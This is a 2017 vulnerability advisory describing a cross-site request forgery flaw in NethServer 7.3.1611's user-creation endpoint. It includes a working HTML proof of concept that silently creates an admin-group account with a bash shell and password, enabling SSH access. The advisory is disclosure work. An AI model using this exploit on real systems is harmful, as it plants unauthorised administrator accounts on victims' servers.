NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access

2017-08-29T00:00:00
ID ZSL-2017-5433
Type zeroscience
Reporter Gjoko Krstic
Modified 2017-08-29T00:00:00

Description

Title: NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access
Advisory ID: ZSL-2017-5433
Type: Local/Remote
Impact: Cross-Site Scripting, System Access
Risk: (4/5)
Release Date: 29.08.2017

Summary

NethServer is an operating system for the Linux enthusiast, designed for small offices and medium enterprises. It's simple, secure and flexible.

Description

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

NethServer.org - <https://www.nethserver.org>

Affected Version

7.3.1611-u1-x86_64

Tested On

Kernel 3.10.0.-514.el7.x86_64 on an x86_64
CentOS Linux 7.3.1611 (Core)

Vendor Status

N/A

PoC

nethserver_csrf.html

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <https://packetstormsecurity.com/files/143944>
[2] <https://cxsecurity.com/issue/WLB-2017080192>
[3] <https://www.exploit-db.com/exploits/42580/>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/131252>

Changelog

[29.08.2017] - Initial release
[01.09.2017] - Added reference [4]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            &lt;!--

NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access


Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64

Summary: NethServer is an operating system for the Linux
enthusiast, designed for small offices and medium enterprises.
It's simple, secure and flexible.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
           CentOS Linux 7.3.1611 (Core)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5433
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php


16.08.2017

--&gt;


HTML Decoded PoC:

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST"&gt;
      &lt;input type="hidden" name="Account[User][create][username]" value="Blabla" /&gt;
      &lt;input type="hidden" name="Account[User][create][gecos]" value="Test1" /&gt;
      &lt;input type="hidden" name="Account[User][create][groups]" value="" /&gt;
      &lt;input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" /&gt;
      &lt;input type="hidden" name="Account[User][create][expires]" value="no" /&gt;
      &lt;input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" /&gt;
      &lt;input type="hidden" name="Account[User][create][shell]" value="/bin/bash" /&gt;
      &lt;input type="hidden" name="Account[User][create][setPassword]" value="disabled" /&gt;
      &lt;input type="hidden" name="Account[User][create][setPassword]" value="enabled" /&gt;
      &lt;input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" /&gt;
      &lt;input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" /&gt;
      &lt;input type="hidden" name="Account[User][create][Submit]" value="Submit" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;